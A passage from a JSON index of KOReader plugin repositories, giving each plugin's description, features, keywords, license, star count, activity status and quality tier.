settings\""],"keywords":["koreader","koreader-plugin","enable","multi-line","toc","table","content","enabling","configuration","options","works","technical","details","compatibility","troubleshooting","working","settings","saving","display","issues","development","file","structure","key"],"topics":["koreader","koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-09-27T13:38:14Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4286,"detail":"detail/monk-blade__multiline-toc-koreader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"montalvito02/kindle-loc-calc.koplugin","owner":"montalvito02","repo":"kindle-loc-calc.koplugin","url":"https://github.com/montalvito02/kindle-loc-calc.koplugin","description":"Kindle Locations Calculator for KOReader","purpose":"Plugin for KOReader that tells you the number of locations in an epub file using the formula from this MobileRead Forums post.","categories":["device"],"features":[],"keywords":["kindle","locations","calculator","works","licences","comment","epub","folder","inside","binary","code","file","html","sumsize","every","have","miniz","open","should","total","after","also","appropiate","called"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T16:47:54Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3562,"detail":"detail/montalvito02__kindle-loc-calc.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MuteMini/puzzle.koplugin","owner":"MuteMini","repo":"puzzle.koplugin","url":"https://github.com/MuteMini/puzzle.koplugin","description":"one-stop plugin for playing paper puzzles on koreader","purpose":"","categories":["games"],"features":[],"keywords":["one-stop","playing","paper","puzzles"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-09-08T16:55:52Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"new-usemame/cwasync.koplugin","owner":"new-usemame","repo":"cwasync.koplugin","url":"https://github.com/new-usemame/cwasync.koplugin","description":"NextGen Progress Sync plugin for KOReader","purpose":"`cwasync.koplugin` synchronizes reading progress between KOReader devices and a Calibre-Web NextGen server. Existing installations can use KOReader's Updates Manager or appstore.koplugin with this repository URL:","categories":["sync","reading"],"features":["Open the repository's Releases page and download cwasync.koplugin.zip from the latest release","Open Tools → NextGen Progress Sync → Login to NextGen Server and enter the server URL and credentials"],"keywords":["nextgen","progress","sync","source","cwasync","calibre-web","repository","server","open","page","download","zip","latest","tools","login","enter","url","credentials"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-09T00:40:06Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1226,"detail":"detail/new-usemame__cwasync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"NightlyDegen/soxplayer.koplugin","owner":"NightlyDegen","repo":"soxplayer.koplugin","url":"https://github.com/NightlyDegen/soxplayer.koplugin","description":"Plugin","purpose":"","categories":["misc"],"features":[],"keywords":["soxplayer"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-10-18T20:46:29Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":28,"detail":"detail/NightlyDegen__soxplayer.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"OGKevin/comicmeta.koplugin","owner":"OGKevin","repo":"comicmeta.koplugin","url":"https://github.com/OGKevin/comicmeta.koplugin","description":"Plugin for KOReader to extract metadata from .cbz files as Custom Metadata","purpose":"Plugin for KOReader to extract metadata from .cbz files as Custom Metadata https://github.com/user-attachments/assets/dbedf7fa-b5df-4536-8686-919342ff41ce","categories":["library","files"],"features":[],"keywords":["extract","metadata","cbz","files","custom","comicmeta","example"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-09-15T14:35:51Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":189,"detail":"detail/OGKevin__comicmeta.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"OGKevin/statistics.koplugin","owner":"OGKevin","repo":"statistics.koplugin","url":"https://github.com/OGKevin/statistics.koplugin","description":"Soft fork of https://github.com/koreader/koreader/tree/master/plugins/statistics.koplugin","purpose":"","categories":["reading"],"features":[],"keywords":["soft","fork","https","github","com","tree","master","statistics"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T07:01:42Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"ohmyhub/assistant.koplugin","owner":"ohmyhub","repo":"assistant.koplugin","url":"https://github.com/ohmyhub/assistant.koplugin","description":"Assistant: AI Helper Plugin for KOReader : lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading","purpose":"A powerful plugin that lets you interact with AI language models (Claude, GPT-4, Gemini, DeepSeek, Ollama etc.) while reading. Ask questions about text, get translations, summaries, explanations and more - all without leaving your book.","categories":["dict","ai","files"],"features":["Ask Questions: Highlight text and ask questions about it","Multiple AI Providers: Support for","Anthropic's Claude","OpenAI's GPT models","Gemini","OpenRouter: unified interface for LLMs","DeepSeek","Ollama","Other OpenAI compatible API services (grok, nvidia ...)","Builtin Prompts"],"keywords":["assistant","helper","lets","interact","language","models","claude","gpt-4","gemini","deepseek","ollama","etc","while","reading","download","move","platform-specific","folder","create","modify","configuration","lua","needed","configure"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-08-15T16:16:02Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":13317,"detail":"detail/ohmyhub__assistant.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-biz/capture.koplugin","owner":"omer-biz","repo":"capture.koplugin","url":"https://github.com/omer-biz/capture.koplugin","description":"Bringing Org Capture to KOReader","purpose":"Capture highlights from KOReader directly into Org-mode files. This plugin allows you to: By default your captures will go into `koreader/org/inbox.org`. To configure the plugin goto `tools -> Capture` usaually on the second page.","categories":["misc"],"features":["Capture selected text from any book or document","Use templates to format captures with metadata (book, author, page, timestamp)","Append captures to a global inbox or per-book Org files","Dynamically manage and edit templates from within KOReader","Template-based captures (%i for highlight, %b for book title, %p for page, etc.)","Flexible target paths with variable expansion (same as above)","Automatic folder creation and safe file appending","Full-screen editable capture dialog","Works with KOReader’s built-in highlights system","Configure templates and capture targets via the plugin menu"],"keywords":["bringing","org","capture","org-capture","demo","book","captures","page","templates","configure","dialog","edit","file","files","folder","highlight","highlights","inbox","text","selected","any","document","format","metadata"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-09T16:27:39Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":1302,"detail":"detail/omer-biz__capture.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"paulbockewitz/kocatchup.koplugin","owner":"paulbockewitz","repo":"kocatchup.koplugin","url":"https://github.com/paulbockewitz/kocatchup.koplugin","description":"KO Catchup — spoiler-safe AI 'story so far' recaps for KOReader, bounded to your reading position","purpose":"KO Catchup generates a spoiler-safe AI catch-up recap of the book you're reading — the KOReader equivalent of Kindle's *Story So Far* feature. One menu tap summarizes the book up to your current reading position, using an LLM you configure (cloud API or local Ollama).","categories":["ai","device"],"features":["Recap of the current book up to your reading position, from the reader menu (Tools → KO Catchup → Generate recap), or bind the…","Works with EPUB/FB2/HTML/MOBI (crengine); best-effort for PDF/DjVu with a text layer. Image-only PDFs are detected and refused…","Providers: any OpenAI-compatible chat-completions endpoint (OpenAI, OpenRouter, Groq, self-hosted Ollama) or the Anthropic…","Recap length presets (short / standard / detailed)","Per-book caching: re-opening a recap at the same position is instant and works offline; if you've read further, you choose…","Rolling incremental updates: updating a recap sends only the previous recap plus the text you've read since — fast and cheap at…","Optional background pre-generation: opt in and a recap is silently prepared shortly after you open a book (only when Wi-Fi is…"],"keywords":["ereader","kindle","koreader-plugin","llm","catchup","spoiler-safe","story","far","recaps","bounded","reading","position","updating","configuration","provider","examples","privacy","security","known","limitations","development","packaging","credits","recap"],"topics":["ereader","kindle","koreader-plugin","llm"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-10T23:57:41Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9774,"detail":"detail/paulbockewitz__kocatchup.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"pengcw/weread2.koplugin","owner":"pengcw","repo":"weread2.koplugin","url":"https://github.com/pengcw/weread2.koplugin","description":"微信读书 koreader 插件，在 koreader 里阅读微信读书里的书籍、公众号文章，并做到进度、阅读时长同步，阅读时间上报。","purpose":"在 KOReader 上阅读微信读书书籍和公众号文章、同步阅读时长、进度的插件。 后续可在 微信读书 → 设置 → 更新管理 中手动检查更新，或开启“每天自动检查一次”。为改善国内网络下的更新体验，更新请求默认优先尝试多个代理，失败后回退到 GitHub 直连；关闭“更新时优先使用代理”后则按相反顺序尝试。发现新版本时会先在可滚动页面中显示更新日志；确认安装后会显示安装包下载百分比、已下载大小，以及校验、解压和安装阶段。插件会校验发布包的 SHA-256，保留上一版备份，并提示重启 KOReader。","categories":["ui","content"],"features":["前往 GitHub Releases 下载最新的 weread.koplugin-vX.Y.Z.zip 安装包。","解压安装包，得到 weread.koplugin 文件夹。","将该文件夹复制到 KOReader 的 plugins 目录：","重启 KOReader，在菜单中找到：","手机打开微信读书 App。","进入 我 → 设置 → 微信读书 Skill。","点击 获取 API Key，确认已经生成个人官方 API Key。","在 KOReader 打开 工具 → 微信读书 → 微信扫码登录。","使用微信扫码并在手机端确认；若手机显示四位验证码，请在 KOReader 中输入。","SimpleUI：进入 快捷操作 新建操作，类型选择 插件 → 微信读书，再把该操作加入底部栏即可。如需使用本项目图标，将 icons/weread-w-book.svg 或 icons/weread-ink.png 复制到 SimpleUI…"],"keywords":["weread","simpleui","zen","todo","agpl-3","zenui","github","icons","skill","weread-w-book","koplugin-vx","zip","app","api","key","svg","weread-ink","png"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-03T15:32:06Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8361,"detail":"detail/pengcw__weread2.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"pengcw/zlibrary.koplugin","owner":"pengcw","repo":"zlibrary.koplugin","url":"https://github.com/pengcw/zlibrary.koplugin","description":"Home of the KOReader Zlibrary plugin","purpose":"Disclaimer: This plugin is for educational purposes only. Please respect copyright laws and use this plugin responsibly.","categories":["ui","library","content"],"features":["Search Z-library for books","Filter search results by language and file extension","Browse most popular and recommended books","KOReader installed on your device","A Z-library account","Via the KOReader User Interface (UI)","Ensure you are in the KOReader file browser","Access the \"Search\" menu","Select \"Z-library\" (it's probably on the second page of this menu)","Select \"Settings\""],"keywords":["home","zlibrary","z-library","demo","prerequisites","configuration","setup","gesture","optional","keyboard","controls","localization","keywords","file","search","credentials","select","menu","access","download","open","base","browse","content"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-06-23T02:51:01Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4001,"detail":"detail/pengcw__zlibrary.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Pixel3ro/raindrop.koplugin","owner":"Pixel3ro","repo":"raindrop.koplugin","url":"https://github.com/Pixel3ro/raindrop.koplugin","description":"KOReader plugin to download / read raindrop readlater pages","purpose":"WLN Reader is a bare-bones Web and Light novels searcher and downloader for KOReader.","categories":["files"],"features":["Search for releases from wlnupdates.com","Get links and query epubs to epub.press","Detect \"fake\" links (usually pages with wordpress) that require another link redirect","Maybe more detailed novel page"],"keywords":["download","read","raindrop","readlater","pages","wln","w-i-p","links","search","wlnupdates","com","query","epubs","epub","press","detect","fake","usually","wordpress","require","another","link","redirect","maybe"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2020-10-22T06:42:10Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":370,"detail":"detail/Pixel3ro__raindrop.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"polluxcodes/dtdisplay.koplugin","owner":"polluxcodes","repo":"dtdisplay.koplugin","url":"https://github.com/polluxcodes/dtdisplay.koplugin","description":"A Koreader plugin to display the time and day in a fullscreen widget","purpose":"A [koreader][1] plugin to display the time and day in a fullscreen widget. E-ink screens make nice ambient displays. I thought it useful to show the time and date when the device is charging.","categories":["ui"],"features":[],"keywords":["display","time","day","fullscreen","widget","dtdisplay","motivation","testing","github","https","clock","kobo-display"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-10-28T08:16:41Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":749,"detail":"detail/polluxcodes__dtdisplay.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rayanestefani8-collab/translatordoc.koplugin","owner":"rayanestefani8-collab","repo":"translatordoc.koplugin","url":"https://github.com/rayanestefani8-collab/translatordoc.koplugin","description":"KOReader plugin to translate EPUB, HTML and TXT documents using Google Translate or DeepL","purpose":"Translates open documents (EPUB, HTML, TXT) using Google Translate or DeepL, saving the result as a new file in `koreader/translations/`. The original file is never modified.","categories":["dict","files","notes"],"features":["Translate the currently open document with one tap","Supports EPUB, HTML and TXT","Google Translate (free, no key required) or DeepL (API key required)","EPUB translation preserves all formatting — chapters, headings, bold, italics","Translated file saved as document_traduzido.epub in a dedicated folder","If a translation already exists, asks whether to open it or translate again","Cache manager to delete individual or all translated files","Connect your device to a PC","The \"Translate document\" option will appear in the reader menu (☰)","Open any EPUB, HTML or TXT document in KOReader"],"keywords":["translate","epub","html","txt","documents","google","deepl","document","translator","settings","cache","management","file","structure","notes","tested","credits","open","translation","free","menu","translated","delete","folder"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-08T23:26:13Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3605,"detail":"detail/rayanestefani8-collab__translatordoc.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ReturnRei/zotero.koplugin","owner":"ReturnRei","repo":"zotero.koplugin","url":"https://github.com/ReturnRei/zotero.koplugin","description":"FORK with quickpatches Display Zotero collection on E-Readers with KOReader","purpose":"This addon for KOReader allows you to view your Zotero collections. In previous versions, you had to copy your entire Zotero directory to your device. The new version however works with the Zotero Web API and downloads attachments ad-hoc. If you are not interested in syncing your collection and would rather access…","categories":["sync","library"],"features":["Synchronize via Web API","Display collections, navigate to sub-collections","Supports WebDAV storage backend","Search entries by the title of the publication, name of the first author or DOI","Obtain an API token for your account by generating a new key in your Zotero Settings. Note the userID and the private key","Set your credentials for Zotero either directly in KOReader or edit the configuration file as described below"],"keywords":["fork","quickpatches","display","zotero","collection","e-readers","guide","differences","previous","versions","configuration","webdav","manual","directory","edit","file","files","settings","account","also","attachments","collections","copy","credentials"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-07-06T22:51:14Z","license":"GPL-3.0","default_branch":"rrdev","has_meta":true,"readme_bytes":2692,"detail":"detail/ReturnRei__zotero.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"right9code/kocalculator.koplugin","owner":"right9code","repo":"kocalculator.koplugin","url":"https://github.com/right9code/kocalculator.koplugin","description":"KOCalculator v1.0.0 — A calculator plugin for KOReader with standard and scientific modes, history, cursor navigation, and configurable size.","purpose":"A full-featured calculator plugin for KOReader with Standard and Scientific modes, cursor navigation, configurable sizing, and calculation history.","categories":["ui","files","reading"],"features":["Line 1: Expression with visible cursor (│) during editing, or the full expression after pressing =","Line 2: Result after pressing =","◀ / ▶: Move cursor within the expression (UTF-8 safe, works with ×, ÷, −, ²)","Edit anywhere in the expression, not just the end","Backspace deletes at cursor position; function tokens (sqrt(, sin(, etc.) are deleted as a unit","Stores up to 50 calculations automatically","Tap any entry to recall the result into the expression","Clear all history with one tap","Persistent across KOReader restarts","Implicit multiplication: 2(3+4) → 14, (2)(3) → 6"],"keywords":["calculator","koreader","koreader-plugin","koreader-plugins","kocalculator","standard","scientific","modes","history","cursor","navigation","configurable","size","two","proportional","sizing","2-line","display","settings","panel","calculation","expression","engine","input"],"topics":["calculator","koreader","koreader-plugin","koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-19T05:44:06Z","license":"NOASSERTION","default_branch":"master","has_meta":true,"readme_bytes":4190,"detail":"detail/right9code__kocalculator.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Robodiskjockey/sokoban_robo.koplugin","owner":"Robodiskjockey","repo":"sokoban_robo.koplugin","url":"https://github.com/Robodiskjockey/sokoban_robo.koplugin","description":"Sokoban game for Koreader but with 3 new worlds and 30+ new levels.","purpose":"A port of the Sokoban puzzle game (from 1981) for KOReader with 4 new level sets and 30+ new levels. Original plugin: sokoban.koplugin","categories":["files","games"],"features":["Original+Extra levels (97 levels) by Thinking Rabbit: the level set from the original Sokoban game (link)","Microban (155 levels) by David W. Skinner: a beginner-friendly level set (link)","Sasquatch (50 levels) by David W. Skinner (link)","Microcosmos (36 levels) by Aymeric du Peloux (link)","Minicosmos (40 levels) by Aymeric du Peloux (link)","Ultra Worlds (36 levels) by Robodiskjockey","Depreciated (6 levels) by Robodiskjockey. These are broken levels that are cool so I kept them in \"Depreciated\"","Geo (4 levels) by Thegeode","Move the entire newly-extracted folder into '.adds/plugins'. The exact folder can vary from some instances","Kobo: .adds/koreader/plugins/"],"keywords":["sokoban","game","but","worlds","30+","levels","robo","level","sets","download","playing","select","adding","converting","txt","files","credits","move","target","player","push","link","only","original"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-31T22:15:54Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5317,"detail":"detail/Robodiskjockey__sokoban_robo.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Robodiskjockey/wordsearch_robo.koplugin","owner":"Robodiskjockey","repo":"wordsearch_robo.koplugin","url":"https://github.com/Robodiskjockey/wordsearch_robo.koplugin","description":"I modded word search with a whole bunch of new words for people's enjoyment. Have fun! Includes: Numbers, and other stuff!","purpose":"Update date: 2026/7/6 2.0 is the newest update for Word Lists 2. It adds new lists and fixes some bugs. This KOReader plugin generates classic word search puzzles directly on your device. Each puzzle mixes horizontal, vertical, and diagonal words while heuristics spread words across directions and starting points to…","categories":["files","games"],"features":["Move the entire newly-extracted folder into '.adds/plugins'. The exact folder can vary from some instances","Kobo: .adds/koreader/plugins/","Kindle: koreader/plugins/","PocketBook: applications/koreader/plugins/","Android: koreader/plugins/","macOS: ~/Library/Application Support/koreader/plugins/","Launch Tools → Word Search","Tap the first and last letters of a word to select it. A line is drawn behind the grid letters and highlighted when the match is…","Tap Words to view the current list (found words are struck through)","Use Show solution / Hide solution to toggle helper lines for every hidden word"],"keywords":["modded","word","search","whole","bunch","words","people","enjoyment","have","fun","includes","numbers","other","stuff","puzzle","update","download","gameplay","overview","adjustable","settings","lists","saving","continuity"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-31T22:14:05Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3695,"detail":"detail/Robodiskjockey__wordsearch_robo.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"runxii/filebrowser.koplugin","owner":"runxii","repo":"filebrowser.koplugin","url":"https://github.com/runxii/filebrowser.koplugin","description":"Run Filebrowser from within KOReader","purpose":"*Run Filebrowser server from within KOReader.* Warning: only tested on one device, not frequently maintained. I only have one KOreader device -- a Kindle Pw4, running a relatively recent firmware. (If anyone wants to donate other devices to me, feel free to reach out or file an issue).","categories":["files"],"features":["The Filebrowser menu item does not appear after installation","Filebrowser stops after a moment: the checkbox uncheks itself after reopening the menu"],"keywords":["run","filebrowser","within","easy","bundled","binary","custom","own","troubleshooting","directory","menu","after","copy","device","files","have","other","which","available","devices","does","network","password","should"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-07-18T17:16:01Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3508,"detail":"detail/runxii__filebrowser.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"sabrina553/bluetooth.koplugin","owner":"sabrina553","repo":"bluetooth.koplugin","url":"https://github.com/sabrina553/bluetooth.koplugin","description":"-- ","purpose":"*The* Bluetooth plugin for ko-reader. WARNING: This is in development! Currently limited to pocketbook and is subject to contain issues and bugs. Please use this repository page to report issues and feature requests; however significant! and I hope to get round to fixing/implementing them.","categories":["device"],"features":["PocketBook: Verse Pro (u634.6.10.3425)","Linux: Fedora 7.0.13 (running under the kodev simulator)","Enable Bluetooth (controller)","Search Devices","Your Paired Deivces. Click to toggle Connection:Hold to show device specific actions and details"],"keywords":["bluetooth","aims","devices","pocketbook","linux","under","contributions","details","directory","issues","one-stop","other","repository","running","shop","their","work","verse","pro","u634","3425","fedora","kodev","simulator"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-09T19:32:46Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1714,"detail":"detail/sabrina553__bluetooth.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Saterz/kanisync.koplugin","owner":"Saterz","repo":"kanisync.koplugin","url":"https://github.com/Saterz/kanisync.koplugin","description":"A KOReader plugin to sync progress with AniList","purpose":"[![Contributors][contributors-shield]][contributors-url] [![Forks][forks-shield]][forks-url] [![Stargazers][stars-shield]][stars-url] [![Issues][issues-shield]][issues-url] [![GPL-3.0 License][license-shield]][license-url]","categories":["sync","reading"],"features":["An AniList account. You can signup at https://anilist.co/signup","Open ZenPM's Sources screen and add https://zenpm-repo.saterz.dev","Refresh the sources, then find and install Kanisync","Get your access token from this link","On a computer, create settings/kanisync_settings.lua in the KOReader installation directory with the following content","Replace your access token with the token from the redirect URL, then safely eject the device","Start using the plugin!","Fork the Project","Create your Feature Branch (git checkout -b feature/AmazingFeature)","Commit your Changes (git commit -m 'Add some AmazingFeature')"],"keywords":["anilist","koplugin","koreader","sync","progress","kanisync","about","project","getting","started","prerequisites","recommended","zenpm","other","options","configuration","top","contributors","contact","acknowledgments","saterz","https","github","for-the-badge"],"topics":["anilist","koplugin","koreader"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T00:31:09Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":3920,"detail":"detail/Saterz__kanisync.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"schmachtin-blip/annas.koplugin","owner":"schmachtin-blip","repo":"annas.koplugin","url":"https://github.com/schmachtin-blip/annas.koplugin","description":"Annas KOReader plugin! Search and download documents from Anna's Archive directly to your KOReader (tested on Kindle 11th gen).","purpose":"Disclaimer: This plugin is for educational purposes only. Please respect copyright laws and use this plugin responsibly.","categories":["files"],"features":["Ensure you are in the KOReader file browser","Access the Search menu","Select Anna's Archive","Enter your search terms and adjust language, format, and additional settings as needed and hit search","Under Search Results click on the entry you are interested in","Finally hit Format: (tap to download) and confirm again by tapping Download","No results found (even when searching for something general)","“All protocols failed” errors","Open an SSH session using KOReader","You will see a prompt with connection information"],"keywords":["annas","search","download","documents","anna","archive","directly","tested","kindle","11th","gen","dns","settings","fix","kobo","dhcp","udhcpc","finishing","permanent","without","changing","root","write","permissions"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-01-30T13:39:43Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4680,"detail":"detail/schmachtin-blip__annas.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"shuvashish76/calculator.koplugin","owner":"shuvashish76","repo":"calculator.koplugin","url":"https://github.com/shuvashish76/calculator.koplugin","description":"A sophisticated calculator for KOReader","purpose":"Versions up to 1.1.2 have a bug, which prevents calculator from start, if a newer version is detected! A sophisticated calculator for https://github.com/koreader/koreader.","categories":["misc"],"features":[],"keywords":["sophisticated","calculator","archive","zwim","please","update","latest","compatibility","sources","github","http","https","information","more"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":true,"pushed_at":"2026-05-21T11:50:42Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1109,"detail":"detail/shuvashish76__calculator.koplugin.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"SirProdigle/tana.koplugin","owner":"SirProdigle","repo":"tana.koplugin","url":"https://github.com/SirProdigle/tana.koplugin","description":"KOReader home-screen plugin: fork of AndyHazz/bookshelf.koplugin tailored for the maki + bussybox book-sync setup. AGPL-3.0.","purpose":"A KOReader home-screen plugin for libraries that mix books and sideloaded manga. Tana is a fork of AndyHazz/bookshelf.koplugin tuned for the maki + bussybox sync layout where each manga series lives in its own folder with hundreds of `.cbz` chapter files.","categories":["sync","ui","library","reading"],"features":["Manga chip. A dedicated tab next to Recent / Latest / Series. Lists every manga series as a single collection card — not 200…","Chapter folding. Individual chapter files vanish from Recent / Latest / All listings; only the collection card surfaces. Opening…","Resume action sheet. Tap a manga collection → bottom sheet with Continue Ch. 97 · p9 / 22 (history-driven), Start from beginning,…","2×2 cover mosaic for book series. Series like ASOIAF or Discworld render with a quad of mini covers behind the cardboard folder…","Path-driven manga detection. Configure tana_manga_roots (default [\"_MANGA\"]); any direct subfolder of a root becomes a collection…","We don't rename bookshelf_* modules. Cherry-picking upstream changes is still mechanical (find the same file, eyeball the diff).…"],"keywords":["home-screen","fork","andyhazz","bookshelf","tailored","maki","bussybox","book-sync","setup","agpl-3","tana","adds","top","changed","upstream","hard","configuration","tracking","credits","manga","chapter","series","card","chip"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-14T13:02:34Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5626,"detail":"detail/SirProdigle__tana.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sjjd26/gloss.koplugin","owner":"sjjd26","repo":"gloss.koplugin","url":"https://github.com/sjjd26/gloss.koplugin","description":"KOReader plugin for learning a focused set of vocabulary whilst reading.","purpose":"KOReader plugin for learning a focused set of vocabulary whilst reading.","categories":["dict"],"features":[],"keywords":["learning","focused","set","vocabulary","whilst","reading","gloss"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-14T22:24:56Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":90,"detail":"detail/sjjd26__gloss.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","stub"]},{"id":"srynot4sale/tuya.koplugin","owner":"srynot4sale","repo":"tuya.koplugin","url":"https://github.com/srynot4sale/tuya.koplugin","description":"Koreader Tuya Plugin","purpose":"","categories":["misc"],"features":[],"keywords":["tuya"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2022-10-31T00:11:05Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"stanevt/chitanka.koplugin","owner":"stanevt","repo":"chitanka.koplugin","url":"https://github.com/stanevt/chitanka.koplugin","description":"KOReader plugin for chitanka.info - free Bulgarian digital library","purpose":"A KOReader plugin for searching and downloading books from chitanka.info -- the largest free Bulgarian-language digital library.","categories":["library"],"features":["Search across four scopes: everything, books only, individual texts (stories, poems, essays), or authors","Results list showing title, author, year, and content type","Book detail view with full metadata and cover image on request","Format picker before every download: EPUB, FB2, MOBI, PDF, TXT","Browse the latest additions: new books and new texts","Tapping an author in results loads all their works directly","Assignable to a gesture or quick-action shortcut (three actions available)","Configurable default format, download folder, and per-download format confirmation","KOReader installed on your device","An active internet connection when searching or downloading"],"keywords":["chitanka","info","free","bulgarian","digital","library","prerequisites","manual","via","git","recommended","updates","setting","gesture","optional","settings","formats","about","keywords","download","format","open","search","epub"],"topics":[],"stars":1,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-06-24T08:33:37Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3941,"detail":"detail/stanevt__chitanka.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"stanley1984/KOPluginSDK","owner":"stanley1984","repo":"KOPluginSDK","url":"https://github.com/stanley1984/KOPluginSDK","description":"KO插件框架SDK","purpose":"竞技台插件SDK（框架）， 主要提供了在免安装的情况下，运行KO对战游戏的能力。 Demo 分为TV版和手机版 HostDemo.Mobile：手机版的demo源码 HostDemo.TV：TV版的demo源码 demo中有编译错误， 目的是提醒开发者进行必要的设置","categories":["misc"],"features":["把\"竞技台\"的插件包（不能改名，必须为KoMobileArena.apk或者KoTvArena.apk)， 放置到sd卡的根目录。","直接安装 KOPluginHostDemo.TV.apk， 运行, 点击 启动竞技台插件 按钮；","1.引入KOPluginOpenSDK库工程","2. AndroidManifest.xml 的配置","application， 进行游戏时，需要比较大的内存支持， 需要设置 largeHeap 为true。","meta-data","activity, service等配置 (TV版， 